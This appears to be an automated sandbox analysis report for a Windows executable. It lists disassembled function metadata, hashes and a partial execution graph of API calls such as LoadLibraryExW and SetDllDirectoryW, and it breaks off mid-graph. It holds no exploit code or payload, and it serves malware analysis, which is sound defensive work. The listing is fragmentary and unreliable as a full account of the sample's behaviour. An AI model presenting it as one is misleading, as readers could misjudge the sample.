                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: LongWindow$DialogInvalidateRect
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1956198572-0
                                                                                                                                                                                                                                          • Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
                                                                                                                                                                                                                                          • Instruction ID: 976859c6d47dff65c1cc62ae863d1d4c0eb6feaeaf41df1dfbd986e3ee230255
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: B611A921B1C14242F674A77FE94827E9291EF94780FC45130DF8D07B9AED2DD4D58214
                                                                                                                                                                                                                                          Function 00007FF79D075B8C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _get_daylight$_invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID: ?
                                                                                                                                                                                                                                          • API String ID: 1286766494-1684325040
                                                                                                                                                                                                                                          • Opcode ID: 49037f27f8a3fd0af602071961786b5c11050eb40cc6520dd4d88adff463e317
                                                                                                                                                                                                                                          • Instruction ID: ab24bfc2917451016dcb14b09f6986be4ef5e63fe1d18a4602e4e5964a4e6ce5
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 49037f27f8a3fd0af602071961786b5c11050eb40cc6520dd4d88adff463e317
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0C41D812F0C68645FB74AB3998497B99660EBA0BA4F944235EEDC0BBD5FE3CD4418710
                                                                                                                                                                                                                                          Function 00007FF79D069084 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • _invalid_parameter_noinfo.LIBCMT ref: 00007FF79D0690B6
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D06A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF79D072D92,?,?,?,00007FF79D072DCF,?,?,00000000,00007FF79D073295,?,?,?,00007FF79D0731C7), ref: 00007FF79D06A9CE
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D06A9B8: GetLastError.KERNEL32(?,?,?,00007FF79D072D92,?,?,?,00007FF79D072DCF,?,?,00000000,00007FF79D073295,?,?,?,00007FF79D0731C7), ref: 00007FF79D06A9D8
                                                                                                                                                                                                                                          • GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF79D05CC15), ref: 00007FF79D0690D4
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID: C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                          • API String ID: 3580290477-3315613849
                                                                                                                                                                                                                                          • Opcode ID: 6949f310d66ea20a01752be9fefe254e5f7f697695929ffcc1b4329691481a3a
                                                                                                                                                                                                                                          • Instruction ID: eef7f1ab21475d17cc413d03ca955cfb80672df9bf429f98229bb968db14a806
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 6949f310d66ea20a01752be9fefe254e5f7f697695929ffcc1b4329691481a3a
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 59417F36B0CF5285E728BF79A8410BDA395FB487D4BD54135E98D47B85EE3CE4818360
                                                                                                                                                                                                                                          Function 00007FF79D06CCA8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ErrorFileLastWrite
                                                                                                                                                                                                                                          • String ID: U
                                                                                                                                                                                                                                          • API String ID: 442123175-4171548499
                                                                                                                                                                                                                                          • Opcode ID: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
                                                                                                                                                                                                                                          • Instruction ID: d2ef5717a12765f967dc83121f038697b62f9b7aef08517457cd731699ea6bbd
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1D418322B1CA8581DB609F6AE4443A9AB60FB88794FC44131EE8D87794EF3DD441C754
                                                                                                                                                                                                                                          Function 00007FF79D06F628 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentDirectory
                                                                                                                                                                                                                                          • String ID: :
                                                                                                                                                                                                                                          • API String ID: 1611563598-336475711
                                                                                                                                                                                                                                          • Opcode ID: d6dc5ef3b9a701496246f0bbbe5215094a09db29d56a445c076fb19df1080212
                                                                                                                                                                                                                                          • Instruction ID: ac6abffe3ed46ec0717463deff46bb887dd8adea69827a97dd4837e0181bcba0
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: d6dc5ef3b9a701496246f0bbbe5215094a09db29d56a445c076fb19df1080212
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: BF21D522B0CA8182EB30AB29E44427DA3B1FB84B44FD54139EBCD47694EF7CD9458B60
                                                                                                                                                                                                                                          Function 00007FF79D05FDB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ExceptionFileHeaderRaise
                                                                                                                                                                                                                                          • String ID: csm
                                                                                                                                                                                                                                          • API String ID: 2573137834-1018135373
                                                                                                                                                                                                                                          • Opcode ID: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
                                                                                                                                                                                                                                          • Instruction ID: 7b0f80d1265c47eb63735fa4bbcfac574310b14b55e817a46769a2757d2e47b1
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 7B111C3261DB8182EB619B2AF440269BBE5FB88B84F984230DECD07759EF3CD5518B10
                                                                                                                                                                                                                                          Function 00007FF79D0707AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: DriveType_invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID: :
                                                                                                                                                                                                                                          • API String ID: 2595371189-336475711
                                                                                                                                                                                                                                          • Opcode ID: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
                                                                                                                                                                                                                                          • Instruction ID: 03d02de00c36d2d82c3eb5f06dd3c8b4d7db3c49788185ab600d809d16472a1b
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 5F017122A1C64385FB30BF78986527EA3A0EF44708FC00135D58D46791FE2CE554CA24

                                                                                                                                                                                                                                          Execution Graph

                                                                                                                                                                                                                                          Execution Coverage:2.7%
                                                                                                                                                                                                                                          Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                          Signature Coverage:1.2%
                                                                                                                                                                                                                                          Total number of Nodes:859
                                                                                                                                                                                                                                          Total number of Limit Nodes:44
                                                                                                                                                                                                                                          execution_graph 69538 7ff79d05ccac 69559 7ff79d05ce7c 69538->69559 69541 7ff79d05cdf8 69708 7ff79d05d19c 7 API calls 2 library calls 69541->69708 69542 7ff79d05ccc8 __scrt_acquire_startup_lock 69544 7ff79d05ce02 69542->69544 69551 7ff79d05cce6 __scrt_release_startup_lock 69542->69551 69709 7ff79d05d19c 7 API calls 2 library calls 69544->69709 69546 7ff79d05cd0b 69547 7ff79d05ce0d __FrameHandler3::FrameUnwindToEmptyState 69548 7ff79d05cd91 69565 7ff79d05d2e4 69548->69565 69550 7ff79d05cd96 69568 7ff79d051000 69550->69568 69551->69546 69551->69548 69705 7ff79d069b9c 45 API calls 69551->69705 69556 7ff79d05cdb9 69556->69547 69707 7ff79d05d000 7 API calls 69556->69707 69558 7ff79d05cdd0 69558->69546 69560 7ff79d05ce84 69559->69560 69561 7ff79d05ce90 __scrt_dllmain_crt_thread_attach 69560->69561 69562 7ff79d05ce9d 69561->69562 69563 7ff79d05ccc0 69561->69563 69562->69563 69710 7ff79d05d8f8 7 API calls 2 library calls 69562->69710 69563->69541 69563->69542 69711 7ff79d07a540 69565->69711 69569 7ff79d051009 69568->69569 69713 7ff79d0654f4 69569->69713 69571 7ff79d0537fb 69720 7ff79d0536b0 69571->69720 69578 7ff79d05391b 69824 7ff79d0545b0 69578->69824 69579 7ff79d05383c 69819 7ff79d051c80 69579->69819 69583 7ff79d05385b 69792 7ff79d058a20 69583->69792 69584 7ff79d05396a 69847 7ff79d052710 54 API calls _log10_special 69584->69847 69588 7ff79d05388e 69596 7ff79d0538bb __vcrt_freefls 69588->69596 69823 7ff79d058b90 40 API calls __vcrt_freefls 69588->69823 69589 7ff79d05395d 69591 7ff79d053984 69589->69591 69592 7ff79d053962 69589->69592 69590 7ff79d053808 __vcrt_freefls 69857 7ff79d05c5c0 69590->69857 69595 7ff79d051c80 49 API calls 69591->69595 69843 7ff79d0600bc 69592->69843 69597 7ff79d0539a3 69595->69597 69598 7ff79d058a20 14 API calls 69596->69598 69606 7ff79d0538de __vcrt_freefls 69596->69606 69601 7ff79d051950 115 API calls 69597->69601 69598->69606 69600 7ff79d053a0b 69850 7ff79d058b90 40 API calls __vcrt_freefls 69600->69850 69603 7ff79d0539ce 69601->69603 69603->69583 69605 7ff79d0539de 69603->69605 69604 7ff79d053a17 69851 7ff79d058b90 40 API calls __vcrt_freefls 69604->69851 69848 7ff79d052710 54 API calls _log10_special 69605->69848 69611 7ff79d05390e __vcrt_freefls 69606->69611 69849 7ff79d058b30 40 API calls __vcrt_freefls 69606->69849 69609 7ff79d053a23 69852 7ff79d058b90 40 API calls __vcrt_freefls 69609->69852 69612 7ff79d058a20 14 API calls 69611->69612 69613 7ff79d053a3b 69612->69613 69614 7ff79d053b2f 69613->69614 69615 7ff79d053a60 __vcrt_freefls 69613->69615 69854 7ff79d052710 54 API calls _log10_special 69614->69854 69625 7ff79d053aab 69615->69625 69853 7ff79d058b30 40 API calls __vcrt_freefls 69615->69853 69618 7ff79d058a20 14 API calls 69619 7ff79d053bf4 __vcrt_freefls 69618->69619 69620 7ff79d053c46 69619->69620 69621 7ff79d053d41 69619->69621 69622 7ff79d053cd4 69620->69622 69623 7ff79d053c50 69620->69623 69868 7ff79d0544d0 49 API calls 69621->69868 69627 7ff79d058a20 14 API calls 69622->69627 69855 7ff79d0590e0 59 API calls _log10_special 69623->69855 69625->69618 69630 7ff79d053ce0 69627->69630 69628 7ff79d053d4f 69631 7ff79d053d65 69628->69631 69632 7ff79d053d71 69628->69632 69629 7ff79d053c55 69633 7ff79d053cb3 69629->69633 69634 7ff79d053c61 69629->69634 69630->69634 69638 7ff79d053ced 69630->69638 69869 7ff79d054620 69631->69869 69636 7ff79d051c80 49 API calls 69632->69636 69866 7ff79d058850 86 API calls 2 library calls 69633->69866 69856 7ff79d052710 54 API calls _log10_special 69634->69856 69649 7ff79d053d2b __vcrt_freefls 69636->69649 69642 7ff79d051c80 49 API calls 69638->69642 69639 7ff79d053dc4 69805 7ff79d059400 69639->69805 69640 7ff79d053cbb 69644 7ff79d053cc8 69640->69644 69645 7ff79d053cbf 69640->69645 69646 7ff79d053d0b 69642->69646 69644->69649 69645->69634 69646->69649 69650 7ff79d053d12 69646->69650 69647 7ff79d053da7 SetDllDirectoryW LoadLibraryExW 69647->69639 69648 7ff79d053dd7 SetDllDirectoryW 69653 7ff79d053e0a 69648->69653 69697 7ff79d053e5a 69648->69697 69649->69639 69649->69647 69867 7ff79d052710 54 API calls _log10_special 69650->69867 69655 7ff79d058a20 14 API calls 69653->69655 69654 7ff79d053ffc 69657 7ff79d054029 69654->69657 69658 7ff79d054006 PostMessageW GetMessageW 69654->69658 69661 7ff79d053e16 __vcrt_freefls 69655->69661 69656 7ff79d053f1b 69880 7ff79d0533c0 121 API calls 2 library calls 69656->69880 69810 7ff79d053360 69657->69810 69658->69657 69660 7ff79d053f23 69660->69590 69662 7ff79d053f2b 69660->69662 69664 7ff79d053ef2 69661->69664 69668 7ff79d053e4e 69661->69668 69881 7ff79d0590c0 LocalFree 69662->69881 69879 7ff79d058b30 40 API calls __vcrt_freefls 69664->69879 69668->69697 69872 7ff79d056db0 54 API calls memcpy_s 69668->69872 69673 7ff79d054043 69883 7ff79d056fb0 FreeLibrary 69673->69883 69676 7ff79d05404f 69680 7ff79d053e6c 69873 7ff79d057330 117 API calls 2 library calls 69680->69873 69684 7ff79d053e81 69686 7ff79d053ea2 69684->69686 69698 7ff79d053e85 69684->69698 69874 7ff79d056df0 120 API calls _log10_special 69684->69874 69686->69698 69875 7ff79d0571a0 125 API calls 69686->69875 69690 7ff79d053eb7 69690->69698 69876 7ff79d0574e0 55 API calls 69690->69876 69692 7ff79d053ee0 69878 7ff79d056fb0 FreeLibrary 69692->69878 69697->69654 69697->69656 69698->69697 69877 7ff79d052a50 54 API calls _log10_special 69698->69877 69705->69548 69706 7ff79d05d328 GetModuleHandleW 69706->69556 69707->69558 69708->69544 69709->69547 69710->69563 69712 7ff79d05d2fb GetStartupInfoW 69711->69712 69712->69550 69716 7ff79d06f4f0 69713->69716 69714 7ff79d06f543 69884 7ff79d06a884 37 API calls 2 library calls 69714->69884 69716->69714 69717 7ff79d06f596 69716->69717 69885 7ff79d06f3c8 71 API calls _fread_nolock 69717->69885 69719 7ff79d06f56c 69719->69571 69886 7ff79d05c8c0 69720->69886 69723 7ff79d0536eb GetLastError 69893 7ff79d052c50 51 API calls _log10_special 69723->69893 69724 7ff79d053710 69888 7ff79d0592f0 FindFirstFileExW 69724->69888 69728 7ff79d05377d 69896 7ff79d0594b0 WideCharToMultiByte WideCharToMultiByte __vcrt_freefls 69728->69896 69729 7ff79d053723 69894 7ff79d059370 CreateFileW GetFinalPathNameByHandleW CloseHandle 69729->69894 69730 7ff79d05c5c0 _log10_special 8 API calls 69733 7ff79d0537b5 69730->69733 69733->69590 69742 7ff79d051950 69733->69742 69734 7ff79d053730 69737 7ff79d05374c __vcrt_InitializeCriticalSectionEx 69734->69737 69738 7ff79d053734 69734->69738 69735 7ff79d053706 69735->69730 69736 7ff79d05378b 69736->69735 69897 7ff79d052810 49 API calls _log10_special 69736->69897 69737->69728 69895 7ff79d052810 49 API calls _log10_special 69738->69895 69741 7ff79d053745 69741->69735 69743 7ff79d0545b0 108 API calls 69742->69743 69744 7ff79d051985 69743->69744 69745 7ff79d051c43 69744->69745 69746 7ff79d057f80 83 API calls 69744->69746 69747 7ff79d05c5c0 _log10_special 8 API calls 69745->69747 69748 7ff79d0519cb 69746->69748 69749 7ff79d051c5e 69747->69749 69791 7ff79d051a03 69748->69791 69898 7ff79d060744 69748->69898 69749->69578 69749->69579 69751 7ff79d0600bc 74 API calls 69751->69745 69752 7ff79d0519e5 69753 7ff79d051a08 69752->69753 69754 7ff79d0519e9 69752->69754 69902 7ff79d06040c 69753->69902 69905 7ff79d064f78 11 API calls memcpy_s 69754->69905 69757 7ff79d0519ee 69906 7ff79d052910 54 API calls _log10_special 69757->69906 69759 7ff79d051a45 69765 7ff79d051a7b 69759->69765 69766 7ff79d051a5c 69759->69766 69760 7ff79d051a26 69907 7ff79d064f78 11 API calls memcpy_s 69760->69907 69763 7ff79d051a2b 69908 7ff79d052910 54 API calls _log10_special 69763->69908 69768 7ff79d051c80 49 API calls 69765->69768 69909 7ff79d064f78 11 API calls memcpy_s 69766->69909 69770 7ff79d051a92 69768->69770 69769 7ff79d051a61 69910 7ff79d052910 54 API calls _log10_special 69769->69910 69771 7ff79d051c80 49 API calls 69770->69771 69773 7ff79d051add 69771->69773 69774 7ff79d060744 73 API calls 69773->69774 69775 7ff79d051b01 69774->69775 69776 7ff79d051b35 69775->69776 69777 7ff79d051b16 69775->69777 69779 7ff79d06040c _fread_nolock 53 API calls 69776->69779 69911 7ff79d064f78 11 API calls memcpy_s 69777->69911 69781 7ff79d051b4a 69779->69781 69780 7ff79d051b1b 69912 7ff79d052910 54 API calls _log10_special 69780->69912 69783 7ff79d051b6f 69781->69783 69784 7ff79d051b50 69781->69784 69915 7ff79d060180 37 API calls 2 library calls 69783->69915 69913 7ff79d064f78 11 API calls memcpy_s 69784->69913 69787 7ff79d051b55 69914 7ff79d052910 54 API calls _log10_special 69787->69914 69788 7ff79d051b89 69788->69791 69916 7ff79d052710 54 API calls _log10_special 69788->69916 69791->69751 69793 7ff79d058a2a 69792->69793 69794 7ff79d059400 2 API calls 69793->69794 69795 7ff79d058a49 GetEnvironmentVariableW 69794->69795 69796 7ff79d058a66 ExpandEnvironmentStringsW 69795->69796 69797 7ff79d058ab2 69795->69797 69796->69797 69798 7ff79d058a88 69796->69798 69799 7ff79d05c5c0 _log10_special 8 API calls 69797->69799 69946 7ff79d0594b0 WideCharToMultiByte WideCharToMultiByte __vcrt_freefls 69798->69946 69801 7ff79d058ac4 69799->69801 69801->69588 69802 7ff79d058a9a 69803 7ff79d05c5c0 _log10_special 8 API calls 69802->69803 69804 7ff79d058aaa 69803->69804 69804->69588 69806 7ff79d059422 MultiByteToWideChar 69805->69806 69809 7ff79d059446 69805->69809 69808 7ff79d05945c __vcrt_freefls 69806->69808 69806->69809 69807 7ff79d059463 MultiByteToWideChar 69807->69808 69808->69648 69809->69807 69809->69808 69947 7ff79d056350 69810->69947 69814 7ff79d053381 69818 7ff79d053399 69814->69818 70015 7ff79d056040 69814->70015 69816 7ff79d05338d 69816->69818 70024 7ff79d0561d0 54 API calls 69816->70024 69882 7ff79d053670 FreeLibrary 69818->69882 69820 7ff79d051ca5 69819->69820 70163 7ff79d0649f4 69820->70163 69823->69596 69825 7ff79d0545bc 69824->69825 69826 7ff79d059400 2 API calls 69825->69826 69827 7ff79d0545e4 69826->69827 69828 7ff79d059400 2 API calls 69827->69828 69829 7ff79d0545f7 69828->69829 70186 7ff79d066004 69829->70186 69832 7ff79d05c5c0 _log10_special 8 API calls 69833 7ff79d05392b 69832->69833 69833->69584 69834 7ff79d057f80 69833->69834 69835 7ff79d057fa4 69834->69835 69836 7ff79d060744 73 API calls 69835->69836 69841 7ff79d05807b __vcrt_freefls 69835->69841 69837 7ff79d057fc0 69836->69837 69837->69841 70354 7ff79d067938 69837->70354 69839 7ff79d060744 73 API calls 69842 7ff79d057fd5 69839->69842 69840 7ff79d06040c _fread_nolock 53 API calls 69840->69842 69841->69589 69842->69839 69842->69840 69842->69841 69844 7ff79d0600ec 69843->69844 70370 7ff79d05fe98 69844->70370 69846 7ff79d060105 69846->69584 69847->69590 69848->69590 69849->69600 69850->69604 69851->69609 69852->69611 69853->69625 69854->69590 69855->69629 69856->69590 69858 7ff79d05c5c9 69857->69858 69859 7ff79d053ca7 69858->69859 69860 7ff79d05c950 IsProcessorFeaturePresent 69858->69860 69859->69706 69861 7ff79d05c968 69860->69861 70382 7ff79d05cb48 RtlCaptureContext RtlLookupFunctionEntry RtlVirtualUnwind 69861->70382 69863 7ff79d05c97b 70383 7ff79d05c910 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 69863->70383 69866->69640 69867->69590 69868->69628 69870 7ff79d051c80 49 API calls 69869->69870 69871 7ff79d054650 69870->69871 69871->69649 69871->69871 69872->69680 69873->69684 69874->69686 69875->69690 69876->69698 69877->69692 69878->69697 69879->69697 69880->69660 69882->69673 69883->69676 69884->69719 69885->69719 69887 7ff79d0536bc GetModuleFileNameW 69886->69887 69887->69723 69887->69724 69889 7ff79d05932f FindClose 69888->69889 69890 7ff79d059342 69888->69890 69889->69890 69891 7ff79d05c5c0 _log10_special 8 API calls 69890->69891 69892 7ff79d05371a 69891->69892 69892->69728 69892->69729 69893->69735 69894->69734 69895->69741 69896->69736 69897->69735 69899 7ff79d060774 69898->69899 69917 7ff79d0604d4 69899->69917 69901 7ff79d06078d 69901->69752 69930 7ff79d06042c 69902->69930 69905->69757 69906->69791 69907->69763 69908->69791 69909->69769 69910->69791 69911->69780 69912->69791 69913->69787 69914->69791 69915->69788 69916->69791 69918 7ff79d06053e 69917->69918 69919 7ff79d0604fe 69917->69919 69918->69919 69921 7ff79d06054a 69918->69921 69929 7ff79d06a884 37 API calls 2 library calls 69919->69929 69928 7ff79d0654dc EnterCriticalSection 69921->69928 69923 7ff79d06054f 69924 7ff79d060658 71 API calls 69923->69924 69925 7ff79d060561 69924->69925 69926 7ff79d0654e8 _fread_nolock LeaveCriticalSection 69925->69926 69927 7ff79d060525 69926->69927 69927->69901 69929->69927 69931 7ff79d060456 69930->69931 69942 7ff79d051a20 69930->69942 69932 7ff79d0604a2 69931->69932 69934 7ff79d060465 memcpy_s 69931->69934 69931->69942 69943 7ff79d0654dc EnterCriticalSection 69932->69943 69944 7ff79d064f78 11 API calls memcpy_s 69934->69944 69936 7ff79d0604aa 69938 7ff79d0601ac _fread_nolock 51 API calls 69936->69938 69937 7ff79d06047a 69945 7ff79d06a950 37 API calls _invalid_parameter_noinfo 69937->69945 69940 7ff79d0604c1 69938->69940 69941 7ff79d0654e8 _fread_nolock LeaveCriticalSection 69940->69941 69941->69942 69942->69759 69942->69760 69944->69937 69945->69942 69946->69802 69948 7ff79d056365 69947->69948 69949 7ff79d051c80 49 API calls 69948->69949 69950 7ff79d0563a1 69949->69950 69951 7ff79d0563cd 69950->69951 69952 7ff79d0563aa 69950->69952 69953 7ff79d054620 49 API calls 69951->69953 70035 7ff79d052710 54 API calls _log10_special 69952->70035 69955 7ff79d0563e5 69953->69955 69956 7ff79d056403 69955->69956 70036 7ff79d052710 54 API calls _log10_special 69955->70036 70025 7ff79d054550 69956->70025 69959 7ff79d05c5c0 _log10_special 8 API calls 69960 7ff79d05336e 69959->69960 69960->69818 69978 7ff79d0564f0 69960->69978 69961 7ff79d05641b 69964 7ff79d054620 49 API calls 69961->69964 69963 7ff79d059070 3 API calls 69963->69961 69965 7ff79d056434 69964->69965 69966 7ff79d056459 69965->69966 69967 7ff79d056439 69965->69967 70031 7ff79d059070 69966->70031 70037 7ff79d052710 54 API calls _log10_special 69967->70037 69970 7ff79d056466 69972 7ff79d0564b1 69970->69972 69973 7ff79d056472 69970->69973 69971 7ff79d0563c3 